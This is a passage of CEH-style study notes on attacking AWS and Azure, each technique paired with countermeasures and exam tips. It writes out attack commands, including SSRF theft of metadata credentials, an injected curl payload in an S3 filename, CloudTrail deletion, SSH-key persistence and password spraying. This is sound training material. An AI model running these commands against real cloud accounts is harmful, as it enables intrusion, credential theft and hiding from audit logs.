1. **Elevating access permissions:** abusing `Microsoft.Authorization/elevateAccess/Action` permission to elevate to a Global Administrator-equivalent role (this specific permission name is Azure's; AWS equivalents center on IAM policy-modification permissions, covered in section 3.57).
2. **Modifying existing roles:** abusing `Microsoft.Authorization/roleDefinitions/write` permission to modify an existing role definition and create new admin-equivalent access.
3. **Creating new accounts:** abusing `Microsoft.Authorization/roleAssignments/write` permission to assign privileged roles to brand-new accounts the attacker controls.
4. SkyArk's two scanning modules, **AWStealth** and **AzureStealth**, automatically discover entities with these sensitive and risky permissions across each respective cloud.

Real-world use: An account that looks like an ordinary "automation service account" turns out to hold `roleAssignments/write` permission; SkyArk flags it as a shadow admin because that one permission alone lets it grant itself (or anyone) full administrative access at will.

Tools and commands used here: SkyArk (`AWStealth`, `AzureStealth` modules; sample banner/output in section 5.21).

Countermeasures and defense: Regularly run SkyArk (or equivalent IAM-review tooling) to find shadow admins proactively; apply least privilege so that NO account, especially ones not labeled "administrator," holds role-modification or role-assignment write permissions unless absolutely required.

EXAM FOCUS: "Shadow admin" is the key term: a question describing an account with role-modification or role-assignment permissions, but without an obvious "Admin" label or title, is testing this exact concept.

Memory trick: "It does not need the word 'Admin' in its name to act like one - that is a shadow admin."

3.55 Gaining Access by Exploiting SSRF Vulnerability

What it is: The complete attack chain of using a Server-Side Request Forgery (SSRF) vulnerability in a web application to retrieve AWS IAM credentials from the cloud metadata service, then using those credentials to access cloud resources.

How it works:

1. The attacker finds a web application using HTTP with an SSRF vulnerability in a `GET` request parameter, commonly named `url`.
2. The attacker supplies the IMDS metadata URL (`http://169.254.169.254/...`) as the value of that `url` parameter, making the vulnerable server itself fetch and return the instance's IAM credentials (the mechanism detailed in sections 3.23, 3.48).
3. The attacker adds the stolen credentials to their local AWS CLI configuration (`aws configure`), saved under a profile name (for example, `stolen_profile`).
4. The attacker runs `aws sts get-caller-identity --profile stolen_profile` to confirm the stolen identity and its permissions.
5. The attacker runs `aws s3 ls --profile stolen_profile` to list every S3 bucket that role can see.
6. The attacker runs `aws s3 sync s3://bucket-name /home/attacker/localstash/targetcloud/ --profile stolen_profile` to download the bucket's entire contents locally.

Real-world use: A "download a file from this URL" feature on a company's web app, with no restriction on which URLs it will fetch, is exactly the SSRF entry point attackers look for to reach the metadata service invisibly, entirely through the vulnerable web app's own server.

Tools and commands used here: `aws configure`, `aws sts get- caller-identity`, `aws s3 ls`, `aws s3 sync` (full syntax in section 5.22).

Countermeasures and defense: Validate and allowlist any user-supplied URL a server-side feature will fetch; block outbound requests to `169.254.169.254` from application servers that do not need it; require IMDSv2.

EXAM FOCUS: This slide ties together three separate concepts you may be tested on independently: SSRF (web app flaw, Module 14), IMDS (cloud metadata service, section 3.23), and AWS CLI profile-based credential use; a scenario question may test whether you can connect all three into one attack chain.

Memory trick: "SSRF makes the server fetch its own house keys and hand them to the attacker."

3.56 Attacks on AWS Lambda: Black-Box and White-Box Scenarios

What it is: Two attacker mindsets for targeting an AWS Lambda-based application: Black-Box (no prior knowledge, exploring blindly) and White-Box (prior knowledge of the environment, targeting precisely).

How it works (Black-Box Scenario):

1. The attacker, with no insider knowledge, uploads a file into an S3 bucket, assuming a Lambda function is triggered to process it (for example, calculating a file tag/checksum).

2. The attacker lists bucket objects (`aws s3 ls`) and checks object tags (`aws s3api get-object-tagging`) to learn how the Lambda function processes files.
3. The attacker crafts a filename containing injected shell commands (such as appending `;curl -X POST -d "testCurl" <Target IP>:443;` inside the uploaded object's key/name), hoping the Lambda function's processing logic executes it unsafely.
4. If successful, the attacker can extract the function's environment variables (`env`), which commonly contain AWS credentials, and exfiltrate them to their own server.

How it works (White-Box Scenario):

1. The attacker already has information about the environment (for example, through social engineering an employee).
2. The attacker checks user policies (`aws iam list-attached-user- policies`), lists Lambda functions (`aws lambda list-functions`), and inspects a specific function's configuration and code (`aws lambda get-function`).
3. The attacker downloads the Lambda function's code directly for offline analysis and further exploitation.

Real-world use: In the black-box case, an attacker with zero insider access still manages to exfiltrate AWS credentials purely by exploiting how a Lambda function names and processes uploaded S3 files; in the white-box case, a successful phishing attack on one employee gives the attacker enough IAM visibility to download and study the exact Lambda source code they want to exploit.

Tools and commands used here: `aws s3 ls`, `aws s3api get-object- tagging`, `aws s3 cp` (used to deliver the crafted filename payload), `aws iam list-attached-user-policies`, `aws lambda list-functions`, `aws lambda get-function` (full syntax in section 5.23).

Countermeasures and defense: Never pass unsanitized filenames or S3 object keys into shell commands inside a Lambda function; strip or validate all user-controlled input; avoid storing long-lived secrets in Lambda environment variables (use Secrets Manager with runtime retrieval instead).

EXAM FOCUS: Black-box vs. white-box is a general penetration- testing concept (also seen in Module 1), reapplied here specifically to Lambda; a question may describe the attacker's starting knowledge level and ask you to label the scenario correctly.

Memory trick: "Black-box pokes blindly at the file-naming behavior; white-box already has the map and downloads the code directly."

3.57 AWS IAM Privilege Escalation Techniques

What it is: A catalog of 8 specific IAM permission combinations that, if an attacker already holds them (even without full admin rights), let them escalate to higher privilege within AWS.

How it works (8 techniques):

1. **Create a new policy version:** `iam:CreatePolicyVersion` lets an attacker create a new version of an IAM policy with custom (broader) permissions.
2. **Assign the default policy version to an existing version:** `iam:SetDefaultPolicyVersion` lets an attacker revert to an older, unused, overly permissive policy version.
3. **Create an EC2 instance with an existing instance profile:** `iam:PassRole` plus `ec2:RunInstances` lets an attacker launch a new EC2 instance using an existing, more-privileged instance profile.
4. **Create a new user access key:** `iam:CreateAccessKey` (for other users) lets an attacker generate new long-term credentials for another, more-privileged user.
5. **Create/update login profile:** `iam:CreateLoginProfile` and `iam:UpdateLoginProfile` let an attacker set or change another user's console login password.
6. **Attach a policy to a user/group/role:** `iam:AttachUserPolicy`/`AttachGroupPolicy`/`AttachRolePolicy` lets an attacker directly attach a privileged policy to themselves.
7. **Create/update an inline policy for user/group/role:** `iam:PutUserPolicy`/`PutGroupPolicy`/`PutRolePolicy` lets an attacker embed a custom privileged policy directly inline.
8. **Add a user to a group:** `iam:AddUserToGroup` lets an attacker add themselves to an existing, more-privileged IAM group.

Real-world use: An attacker who only has `iam:PassRole` and `ec2:RunInstances` (seemingly low-risk individually) combines them to launch a brand-new EC2 instance attached to an existing "AdministratorAccess" instance profile, instantly gaining admin-level access through that instance's metadata service (tying directly back to section 3.48).

Tools and commands used here: none specific per technique; Pacu (section 3.51) automates detection of exactly these permission combinations.

Countermeasures and defense: Audit IAM policies specifically for these 8 dangerous permission combinations (not just obviously broad permissions like `*`); use tools like Cloudsplaining (section 3.40) or Pacu's privilege-escalation-check module to find them proactively.

EXAM FOCUS: This is one of the single most exam-relevant lists in the entire module; expect a question giving a specific IAM permission name and asking what privilege-escalation technique it enables. Learn the exact permission names, not just the general idea.

Memory trick: "Policy tricks (1,2,6,7), Identity tricks (4,5,8), and one Compute trick (3, PassRole+RunInstances) - eight keys, three drawers."

3.58 Creating Backdoor Accounts in AWS

What it is: Techniques and tools (Endgame, Pacu) for creating persistent, broadly-accessible backdoor access across many AWS resources at once, often by intentionally exposing resources to the internet.

How it works:

1. The attacker lists existing IAM resources to understand the account's current users, roles, and services (`endgame list- resources -s iam`, or `-service s3`, or `-service all`).
2. The attacker uses `endgame expose --service <service> --name <resource>` to deliberately add internet-wide (`*`) access to a specific named resource (ECR repository, S3 bucket, IAM role, Lambda function, and more).
3. Running this across every discovered resource type at once (`smash --service all`) creates backdoor-level public access across the entire account in one pass.

Real-world use: An attacker who already has admin-level access runs Endgame's `smash` command once, instantly adding internet-wide access to dozens of ECR repositories, IAM roles, S3 buckets, Lambda functions, and secrets in a single automated sweep, maximizing their chances of retaining SOME access even if most individual backdoors are later found and closed.

Tools and commands used here: Endgame (`list-resources`, `expose`, `smash`), Pacu (full syntax and sample output in section 5.24).

Countermeasures and defense: Monitor for any resource policy change that adds a wildcard (`*`) principal or internet-wide access; use AWS Config rules to automatically flag and even auto-remediate such changes; apply SCPs (Service Control Policies) at the AWS Organization level to prevent certain resources from ever being made public.

EXAM FOCUS: The key exam idea: backdooring in AWS often does not mean creating a new hidden user; it means widening EXISTING resource policies to allow internet-wide (`*`) access, which is harder for defenders to notice than a brand-new suspicious account would be.

Memory trick: "Smash every lock open at once, then come back later through whichever one is still open."

3.59 Maintaining Access and Covering Tracks on AWS by Manipulating CloudTrail

What it is: The specific commands attackers use to disable AWS's own audit logging service (CloudTrail) to cover their tracks, paired with the techniques they then use to maintain long-term access.

How it works (Covering Tracks):

1. Stop the CloudTrail trail from logging: `aws cloudtrail stop-logging --name targetcloud_trail --profile administrator`.

2. Delete the trail entirely: `aws cloudtrail delete-trail --name targetcloud_trail --profile administrator`.
3. Delete the S3 bucket storing the trail's log files: `aws s3 rb s3://<Bucket_Name> --force --profile administrator`.

How it works (Maintaining Access, after clearing logs):

1. Manipulate EC2 instance user data for an instance with privileged access rights, to re-run malicious code on every boot.
2. Create new EC2 instances based on a backdoored Amazon Machine Image (AMI), assigning them a privileged role.
3. Insert a backdoor into an existing Lambda function.
4. Manipulate access keys using custom Lambda functions (named examples: `rabbit_lambda`, `cli_lambda`, `backdoor_created_users_lambda`).

Real-world use: An incident response team notices a multi-day gap in CloudTrail logs, exactly matching when `stop-logging` was likely run; by the time logging resumed, the attacker had already backdoored a Lambda function undetected.

Tools and commands used here: `aws cloudtrail stop-logging`, `aws cloudtrail delete-trail`, `aws s3 rb ... --force` (full syntax in section 5.25).

Countermeasures and defense: Enable CloudTrail log file validation, send logs to a separate, locked-down logging account that the main account cannot modify, and alert immediately (via AWS Config or GuardDuty) whenever a CloudTrail trail is stopped or deleted.

EXAM FOCUS: `stop-logging` and `delete-trail` are the two exact AWS CLI actions mapped to "Clearing Tracks" in this cloud context; memorize them as the AWS-specific version of covering tracks.

Memory trick: "Stop the camera, delete the tape, THEN do the real work."

3.60 Establishing Persistence on EC2 Instances

What it is: A set of concrete techniques for making sure an attacker keeps access to a compromised EC2 instance, even after reboots or attempted cleanup.

How it works (5 techniques):

1. **Creating backdoor users:** create a new IAM user or role with administrative permissions (`aws iam create-user`, then `aws iam attach-user-policy` with the `AdministratorAccess` policy ARN).
2. **Altering startup scripts:** modify files such as `/etc/rc.local`, `/etc/init.d/`, or systemd service files to run malicious code on every boot (for example, appending a command to `/etc/rc.local`).
3. **SSH key injection:** append the attacker's own public key to `~/.ssh/authorized_keys` on the target user, granting passwordless SSH access going forward.

4. **Installing rootkits:** hide malicious processes/files from standard system monitoring tools, maintaining privileged access without detection.
5. **Leveraging IAM roles:** create a new IAM role with privileges similar to an existing one (`aws iam create-role`, then `aws iam attach-role-policy`), as a redundant, less obvious backdoor.

Real-world use: Even after a defender revokes one stolen IAM user's access, the attacker still has a planted SSH key in `authorized_keys` and a malicious line in `/etc/rc.local`, both of which silently restore access the next time anyone reboots the instance or lets it keep running.

Tools and commands used here: `aws iam create-user`, `aws iam attach-user-policy`, `echo >> /etc/rc.local`, `echo >> ~/.ssh/authorized_keys`, `aws iam create-role`, `aws iam attach-role-policy` (full syntax in section 5.26).

Countermeasures and defense: Treat ANY full instance compromise as requiring a complete rebuild from a known-clean image, not just a credential rotation; audit `authorized_keys` files and startup scripts during incident response; use IAM Access Analyzer to flag any new admin-equivalent user or role creation.

EXAM FOCUS: This slide maps directly onto the CEH "Maintaining Access" phase; the SSH key injection and startup script techniques are OS-level (not cloud-API-level), showing how classic Module 6 system- hacking persistence techniques apply equally inside a cloud instance.

Memory trick: "Users, scripts, keys, rootkits, roles - five separate anchors an attacker can drop to stay aboard."

3.61 Lateral Movement: Moving Between AWS Accounts and Regions

What it is: The process of pivoting from one compromised AWS account or region to another, to escalate privileges or reach additional resources the attacker could not see before.

How it works (6 steps):

1. **Identify permissive roles:** `aws iam list-roles` to find IAM roles with permissive policies or overly broad trust relationships.
2. **Assume a role in the target account:** `aws sts assume-role --role-arn arn:aws:iam::<target-account-id>:role/<role-name> --role-session-name <session-name>` to obtain temporary credentials with additional permissions.
3. **Configure the AWS CLI with the obtained temporary credentials:** export `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ SESSION_TOKEN` as environment variables.
4. **Enumerate the target account's resources and permissions:** `aws s3 ls`, `aws iam list-attached-user-policies`, `aws iam list- attached-role-policies` for the newly assumed identity.
5. **Enumerate all AWS regions available to the account:** `aws ec2 describe-regions`.

6. **Access and exploit resources in different AWS regions:** `aws s3api list-buckets --query <filter>` against each discovered region.

Real-world use: After compromising one subsidiary's AWS account, an attacker assumes a cross-account role trusted by the parent company's account, then systematically checks every AWS region (since many organizations only actively monitor one or two "primary" regions), finding forgotten, unmonitored resources in a rarely-used region.

Tools and commands used here: `aws iam list-roles`, `aws sts assume-role`, `aws ec2 describe-regions`, `aws s3api list-buckets` (full syntax in section 5.27).

Countermeasures and defense: Monitor and alert on `sts:AssumeRole` calls across account boundaries, especially from unfamiliar source accounts; apply monitoring and guardrails uniformly across ALL enabled regions, not just the primary one; disable unused AWS regions entirely at the Organization level.

EXAM FOCUS: "Checking every region, not just the main one" is a specific, testable attacker technique, because many organizations under-monitor secondary regions; `aws ec2 describe-regions` is the command that enables this.

Memory trick: "One stolen role can open doors in accounts AND regions you never thought to watch."

3.62 AWSGoat: A Damn Vulnerable AWS Infrastructure

What it is: AWSGoat is an intentionally vulnerable AWS infrastructure project that provides a realistic, hands-on environment with real-world-style vulnerabilities, for legally practicing AWS attack techniques.

How it works: AWSGoat deploys a deliberately flawed, realistic AWS environment covering scenarios such as SQL Injection, ECS Breakout and Instance Metadata exploitation, Server-Side Request Forgery (SSRF), IAM Privilege Escalation, and File Upload combined with Task Metadata abuse, letting a learner practice the exact attack chains described earlier in this module safely and legally.

Real-world use: A student preparing for CEH sets up AWSGoat in their own AWS sandbox account to actually run the `aws s3`, `aws sts`, and `curl 169.254.169.254` commands from earlier sections against a real (but intentionally vulnerable) target, instead of only reading about them.

Tools and commands used here: AWSGoat deployment scripts (infrastructure-as-code); the exploitation commands from sections 3.48-3.61 apply directly once deployed.

Countermeasures and defense: Not applicable to a deliberately vulnerable training tool; the "lesson" is to compare AWSGoat's intentional flaws against your own real AWS environment and fix any matches you find.

EXAM FOCUS: "Vulnerable-by-design" cloud/app training platforms (AWSGoat here; AzureGoat and GCPGoat later in sections 3.74, 3.81) are a recurring theme; the exam may simply ask which platform (AWS, Azure, or GCP) a named "Goat" tool targets.

Memory trick: "AWSGoat: a sandbox built to be broken, safely, on purpose."

3.63 Azure Reconnaissance using AADInternals

What it is: AADInternals is a PowerShell module for administering Azure AD (now Microsoft Entra ID) and Office 365, which also provides a wide range of reconnaissance, exploitation, and post-exploitation tools for attackers.

How it works:

1. `Invoke-AADIntReconAsOutsider -DomainName <domain> | Format-Table` starts tenant recon of a target domain, as a complete outsider with no credentials, returning details like the tenant's DNS, SPF, DMARC, DKIM, and MX record status for every related domain.
2. `Get-AADIntLoginInformation -Domain <domain>` returns login information (authentication type, federation status, namespace type) for a given domain or user.
3. `Invoke-AADIntReconAsGuest` performs recon using a low-privilege guest-level view of the tenant.
4. `Get-AADIntTenantDomains -Domain <domain>` returns every domain registered to that tenant, often revealing many more related domains than the attacker initially knew about.

Real-world use: Running `Invoke-AADIntReconAsOutsider` against `eccouncil.org` reveals a long list of related subdomains and tenant domains (`eccouncilaba.onmicrosoft.com`, `berresearch.eccouncil.org`, and more), each a potential additional target, before the attacker has entered a single credential.

Tools and commands used here: `Invoke-AADIntReconAsOutsider`, `Get-AADIntLoginInformation`, `Invoke-AADIntReconAsGuest`, `Get- AADIntTenantDomains` (full syntax in section 5.28).

Countermeasures and defense: Limit what unauthenticated recon can reveal where possible (some of this is inherent to how federation/DNS works and cannot be fully hidden); monitor sign-in logs for unusual guest or federation-probing activity.

EXAM FOCUS: AADInternals requires NO authentication at all for its "ReconAsOutsider" mode; a question may test that this is unauthenticated recon, unlike tools requiring at least guest credentials.

Memory trick: "AADInternals: the Swiss Army knife for anything Azure AD, recon through exploitation."

3.64 Identifying Azure Services and Resources using MicroBurst

What it is: MicroBurst is a PowerShell toolkit used to automate the enumeration of resources and services within an Azure subscription, alongside Azure CLI (`az`).

How it works:

1. Import the MicroBurst module into an already-authenticated Az PowerShell session: `Import-Module .\MicroBurst.psm1`.
2. Create an output folder: `New-Item -Name "microburst-output" -ItemType "directory"`.
3. Run the domain/resource enumeration function, saving results into that folder: `Get-AzDomainInfo -Verbose -Folder microburst-output`.
4. Open the resulting output folder (containing CSV files such as `All_Resources.csv`, `AppServices.csv`, `Disks.csv`, `Users.csv`) using `explorer microburst-output`.

Real-world use: The `Users.csv` output reveals every Azure AD user's principal name, object type, and usage location in one file, giving the attacker a ready-made target list for later password spraying (section 3.65).

Tools and commands used here: `Import-Module MicroBurst.psm1`, `New-Item`, `Get-AzDomainInfo` (full syntax in section 5.29).

Countermeasures and defense: Apply least privilege to any credential capable of authenticated enumeration at this scale; monitor for unusual bulk `Get-Az*` API call patterns in Azure Activity Logs.

EXAM FOCUS: MicroBurst needs an AUTHENTICATED Az PowerShell session first, unlike AADInternals's outsider recon mode; a question contrasting the two tools on this exact point is likely.

Memory trick: "MicroBurst needs a key to the house first, then it inventories every room."

3.65 Enumerating Azure Active Directory (AD) Accounts

What it is: Two related techniques: using AzureGraph to enumerate Azure AD accounts and metadata through Microsoft Graph, and using Spray365 to perform password spraying against Azure AD accounts.

How it works (AzureGraph, account enumeration):

1. `gr$list_users()` lists all users present in the Azure AD tenant.
2. `gr$get_user("username")` retrieves information about a specific authenticated user.
3. The tool also supports searching by username/mail/phone, user groups, device name, service principal, application, organization info, and registered domains, plus a "download all data" option.

How it works (Spray365, password spraying):

1. `python spray365.py generate normal -ep <execution_plan_filename> -d <domain_name> -u <usernames_file> -pf <passwords_file>` generates an execution plan combining usernames and passwords, with a delay between attempts to avoid lockouts/detection.
2. `python3 spray365.py spray -ep <execution_plan_filename>` executes that plan, attempting each username/password combination against Azure AD login.

Real-world use: With a username list pulled from MicroBurst (section 3.64), an attacker generates a Spray365 execution plan using only 4 common passwords across 5 users, deliberately staying under typical lockout thresholds by spacing attempts out, and successfully logs into one account using a reused, weak password.

Tools and commands used here: AzureGraph (`gr$list_users()`, `gr$get_user()`), Spray365 (`generate`, `spray`) (full syntax in section 5.30).

Countermeasures and defense: Enforce MFA on every Azure AD account (password spraying becomes far less useful once MFA is required), use Azure AD Smart Lockout, and monitor sign-in logs for distributed low-and-slow login attempts across many accounts.

EXAM FOCUS: Password SPRAYING (few passwords against MANY accounts, to avoid lockouts) is distinct from password BRUTE-FORCING (many passwords against ONE account); a question may ask you to tell these apart, and Spray365's own name/delay flag is a direct clue.

Memory trick: "Spray a little of each password across many accounts, rather than dumping everything on just one."

3.66 Identifying Attack Surface using Stormspotter

What it is: Stormspotter enumerates resources, configurations, and potential security gaps within an Azure subscription that attackers can exploit, listing every subscription the provided credentials can access.

How it works:

1. Run the Stormcollector module in CLI mode: `python3 sscollector.pyz cli`.
2. Alternatively, authenticate using a Service Principal Name (SPN): `python3 sscollector.pyz spn -t <tenant> -c <clientID> -s <clientSecret>`.
3. Stormspotter builds a visual map of the collected Azure resources and relationships, similar in spirit to Cartography (section 3.44) but specifically for Azure.

Real-world use: Stormspotter's visual map reveals an unexpected trust relationship between two seemingly unrelated subscriptions, exposing a lateral-movement path the attacker had not otherwise noticed from raw CLI output alone.

Tools and commands used here: `sscollector.pyz cli`, `sscollector. pyz spn` (full syntax in section 5.31).

Countermeasures and defense: Regularly review subscription-level access and trust relationships; limit which service principals exist and what they can see across subscriptions.

EXAM FOCUS: Stormspotter is the Azure-focused graph/attack-surface tool, paralleling Cartography (AWS/GCP-focused); a question may test which tool targets which cloud provider's graph.

Memory trick: "Stormspotter watches for the storm (attack surface) brewing across Azure subscriptions."

3.67 Collecting Data from AzureAD and AzureRM using AzureHound

What it is: AzureHound is a data collector built by the BloodHound Enterprise team, used to gather information from Azure Active Directory (AzureAD) and Azure Resource Manager (AzureRM) for analysis in BloodHound.

How it works:

1. `azurehound list -u "$USERNAME" -p "$PASSWORD" -t "$TENANT"` prints all Azure tenant data (both AzureAD and AzureRM) to standard output.
2. The same command with `-o "mytenant.json"` saves that output to a JSON file instead.
3. `azurehound configure` sets up AzureHound for integration with BloodHound Enterprise.
4. `azurehound start` begins a continuous Azure data collection service, feeding BloodHound Enterprise for ongoing visualization.

Real-world use: An attacker (or red teamer) feeds AzureHound's JSON output into BloodHound to visually trace the shortest path from a low-privilege compromised account to Global Administrator, the same way BloodHound is used for on-premises Active Directory attack-path analysis.

Tools and commands used here: `azurehound list`, `azurehound configure`, `azurehound start` (full syntax in section 5.32).

Countermeasures and defense: Monitor sign-in and Graph API query patterns for AzureHound-style bulk enumeration; regularly audit for excessive AzureAD role/group relationships that create unintended privilege-escalation paths.

EXAM FOCUS: AzureHound is the Azure equivalent of the (originally on-prem AD) BloodHound data collector family; a question may ask what AzureHound feeds into (answer: BloodHound, for attack-path graph analysis).

Memory trick: "AzureHound sniffs out the data; BloodHound draws the attack path."

3.68 Accessing Publicly Exposed Blob Storage using Goblob

What it is: Goblob is a lightweight, fast enumeration tool for discovering sensitive information exposed publicly in Azure Blob storage.

How it works:

1. `./goblob -accounts <storage_account_name>` enumerates public Azure blob storage URLs for one specific storage account.
2. `./goblob -accounts accounts.txt` does the same across a list of many storage accounts at once.

3. `./goblob -accounts accounts.txt -containers wordlists/goblob- folder-names.txt` enumerates a custom list of likely blob container names within each discovered storage account.
4. Goblob reports publicly accessible containers (status `200`) and analyzes their contents page by page.

Real-world use: Goblob finds a public container named `media` inside the storage account `eurekamediastore`, and while analyzing its pages, discovers directly browsable files, exactly like an open S3 bucket but on Azure.

Tools and commands used here: `goblob -accounts` (full syntax and sample output in section 5.33).

Countermeasures and defense: Set Azure Blob container access level to "Private" by default, audit all storage accounts for any container set to "Public" or "Blob" access, and use Azure Defender for Storage to detect anomalous access.

EXAM FOCUS: Goblob is the direct Azure-Blob-storage parallel to CloudBrute/S3Scanner for AWS S3 (section 3.35-3.36); a question may simply test which tool targets which provider's object storage.

Memory trick: "Goblob gobbles up every public blob it can find."

3.69 Identifying Open Network Security Groups (NSGs) in Azure

What it is: The Azure equivalent of finding over-permissive AWS security groups (section 3.46): locating Network Security Groups (NSGs) that allow unrestricted inbound traffic.

How it works (two techniques):

1. **Using the Azure Portal:** navigate to the Azure Portal, select "All services" then "Network security groups," choose the NSG to review, and check its "Inbound security rules" and "Outbound security rules" for any rule allowing access from `0.0.0.0/0`.
2. **Using the Azure CLI:** `az network nsg list --out table` lists every NSG; `az network nsg rule list --resource-group <ResourceGroupName> --nsg-name <NSGName> --output table` lists every rule within a specific NSG, so the attacker can look for wide IP ranges and ports, especially `0.0.0.0/0` inbound.

Real-world use: An Azure CLI scan turns up an NSG rule allowing inbound access from `0.0.0.0/0` on port 1433 (SQL Server), giving the attacker a direct target for a database brute-force attempt.

Tools and commands used here: `az network nsg list`, `az network nsg rule list` (full syntax in section 5.34).

Countermeasures and defense: Scope NSG rules to specific source IP ranges, use Azure Bastion or a VPN for admin access instead of exposing management ports directly, and enable Azure Security Center/ Defender for Cloud alerts on overly permissive NSG rules.

> **ADDED CONTEXT:** Azure NSG vs. AWS VPC Security Groups/NACLs comparison: Azure NSGs can apply to subnets, VMs, or NICs and are stateful. AWS uses Security Groups (stateful, instance-level) AND Network ACLs (stateless, subnet-level) together. AWS integrates with CloudWatch/CloudTrail/VPC Flow Logs; Azure integrates with Azure Monitor. AWS's networking feature set (VPN, Direct Connect, complex topologies) is broader; Azure NSGs focus more narrowly on traffic control itself (verify current feature parity, since both providers update rapidly).

EXAM FOCUS: `0.0.0.0/0` means "any IP" in Azure NSGs too, exactly as in AWS security groups; do not assume the notation differs by provider.

Memory trick: "Same `0.0.0.0/0` red flag, different provider's console."

3.70 Exploiting Managed Identities and Azure Functions

What it is: Azure Managed Identities let a resource (like an Azure Function or VM) authenticate to other Azure services automatically, without storing credentials; attackers can abuse this automatic trust if they compromise the resource itself.

How it works:

1. The attacker compromises an Azure Function/web app that has a managed identity attached (for example, via a code execution bug).
2. The attacker obtains an access token tied to that managed identity (often via the instance metadata endpoint, conceptually similar to AWS's IMDS attack in section 3.23).
3. The attacker connects to Azure using that stolen token: `Connect-AzAccount -AccessToken <access_token> -AccountId <client_id>`.
4. The attacker retrieves storage account keys the managed identity has access to: `Get-AzStorageAccountKey -ResourceGroupName "<resource_group>" -AccountName "<account_name>"`.
5. Using the retrieved keys, the attacker connects through Azure Storage Explorer to browse and extract data from storage containers.

Real-world use: A vulnerable web app running with a managed identity is compromised; the attacker extracts the identity's access token, then its storage account keys, and finds a container holding a sensitive file (a literal "flag.txt" in the captured training scenario) sitting alongside the web app's own expected files.

Tools and commands used here: `Connect-AzAccount -AccessToken`, `Get-AzStorageAccountKey`, Azure Storage Explorer (full syntax in section 5.35).

Countermeasures and defense: Scope managed identities to the absolute minimum roles/resources needed; never grant a managed identity broader storage access than the specific containers its application actually needs; monitor token issuance and storage key retrieval events.

EXAM FOCUS: Managed Identities are meant to be MORE secure than hardcoded credentials (no secret to leak), but they shift the risk to "whoever compromises the resource inherits its identity's full access"; a question may test this trade-off.

Memory trick: "No password to steal, just steal the identity itself by owning what it's attached to."

3.71 Privilege Escalation Using Misconfigured User Accounts in Azure AD

What it is: A 6-step privilege escalation chain where a normal user, misconfigured as an application administrator on a registered Azure AD application, escalates themselves all the way to Global Administrator.

How it works (6 steps):

1. **Discover the misconfiguration:** using BloodHound or AzureHound, the attacker finds a normal user account misconfigured as an app admin to an application registered in the target Azure AD.
2. **Connect as that normal user:** `Connect-AzureAD` using the normal user's credentials.
3. **Create a new key credential:** generate a self-signed certificate and export it locally: `Export-PfxCertificate -cert $path -FilePath <path_to_save_.pfx file> -Password $pwd`.
4. **Upload the certificate:** add that self-signed certificate to the registered application's certificate configuration in Azure AD.
5. **Authenticate as the application using the certificate, and escalate:** `Connect-AzureAD -TenantId <tenant_id> -ApplicationId <app_id> -CertificateThumbPrint <thumbprint>`, then `Add- AzureADDirectoryRoleMember -RefObjectId <normaluser_object_ID> -ObjectId <GlobalAdmin_ID>` to assign the Global Administrator role to the original normal user account.
6. **Verify:** check Azure AD and confirm the normal user's role now shows Global Administrator.

Real-world use: A user who was only ever meant to manage one app's branding settings turns out to have "Application Administrator" rights on that app; because that specific role can add credentials to apps, they use it to impersonate the application itself and grant themselves the entire tenant's top role.

Tools and commands used here: `Connect-AzureAD`, `Export- PfxCertificate`, `Add-AzureADDirectoryRoleMember` (full syntax in section 5.36).

Countermeasures and defense: Avoid assigning "Application Administrator" or similar roles broadly; audit which users can add credentials to which applications, since that capability alone can lead to full tenant compromise; require admin approval for any new application credential.

EXAM FOCUS: The key chain to remember: App Admin role -> add a cert to the app -> authenticate AS the app -> use the app's own permissions to grant the original human

account Global Admin. This "escalate through an app, not through yourself" pattern is a distinct, testable idea.

Memory trick: "Become the app for a moment, then let the app promote you."

3.72 Creating Persistent Backdoors in Azure AD using Service Principals

What it is: A technique for maintaining long-term, hard-to-notice access to an organization's Azure cloud resources by creating a new service principal, assigning it privileged permissions, and giving it an innocent-looking name.

How it works (5 steps):

1. **Identify the target role:** `az role definition list --output table`.
2. **Create a new service principal:** `az ad sp create-for-rbac --name <service-principal-name>`, which returns a client ID and secret.
3. **Assign a privileged role to the service principal:** `az role assignment create --assignee <service-principal-id> --role <role-name>`.
4. **Verify the role assignment:** `az role assignment list --assignee <service-principal-id> --output table`.
5. **Blend in:** name the service principal using legitimate-sounding conventions (for example, "ProductionServicePrincipal") so it does not stand out during a review.

Real-world use: A security review finds dozens of legitimately- named automation service principals, and one additional one called "ProductionServicePrincipal" blends in perfectly, hiding in plain sight among the real automation accounts for months.

Tools and commands used here: `az role definition list`, `az ad sp create-for-rbac`, `az role assignment create`, `az role assignment list` (full syntax in section 5.37).

Countermeasures and defense: Regularly audit every service principal and its assigned roles, treating naming conventions as insufficient proof of legitimacy; require `Directory.ReadWrite.All` and `RoleManagement.ReadWrite.Directory` permissions (used to perform these steps) to be tightly restricted and monitored.

EXAM FOCUS: The specific permission names required for this attack (`Directory.ReadWrite.All`, `RoleManagement.ReadWrite.Directory`) are a direct exam target; a question may ask what permission is needed to create/assign privileged service principals.

Memory trick: "A backdoor with a boring, official-sounding name survives the longest."

3.73 Exploiting VNet Peering Connections

What it is: VNet peering connects two Azure Virtual Networks so resources in each can communicate; attackers can abuse this feature to move laterally and reach resources they could not otherwise access.

How it works:

1. **Create unauthorized peering:** `az network vnet peering create -g TargetResourceGroup -n AttackerVnetToTargetVnet --vnet-name AttackerVnet --remote-vnet TargetVnetId --allow-vnet-access`.
2. **Enable traffic forwarding:** `az network vnet peering update -g TargetResourceGroup -n AttackerVnetToTargetVnet --vnet-name AttackerVnet --set allowForwardedTraffic=true`.
3. **Enable gateway transit:** `az network vnet peering update -g TargetResourceGroup -n AttackerVnetToTargetVnet --vnet-name AttackerVnet --set allowGatewayTransit=true`.
4. **Synchronize peering connections:** `az network vnet peering sync -g TargetResourceGroup -n AttackerVnetToTargetVnet --vnet-name AttackerVnet`.

Real-world use: An attacker who already controls one isolated "sandbox" VNet creates an unauthorized peering connection into the organization's production VNet, then enables traffic forwarding so their sandbox VNet effectively becomes a routed gateway deeper into the network.

Tools and commands used here: `az network vnet peering create`, `az network vnet peering update`, `az network vnet peering sync` (full syntax in section 5.38).

Countermeasures and defense: Restrict who holds `Microsoft.Network/virtualNetworks/peer/action` permission, audit all existing VNet peering connections regularly, and apply Network Security Groups on BOTH sides of a peering relationship, since peering alone does not bypass NSG rules if configured correctly.

EXAM FOCUS: VNet peering requires explicit permission (`allow-vnet-access`) and is NOT transitive by default (peering A-to-B and B-to-C does not automatically let A reach C); a question may test this non-transitivity rule.

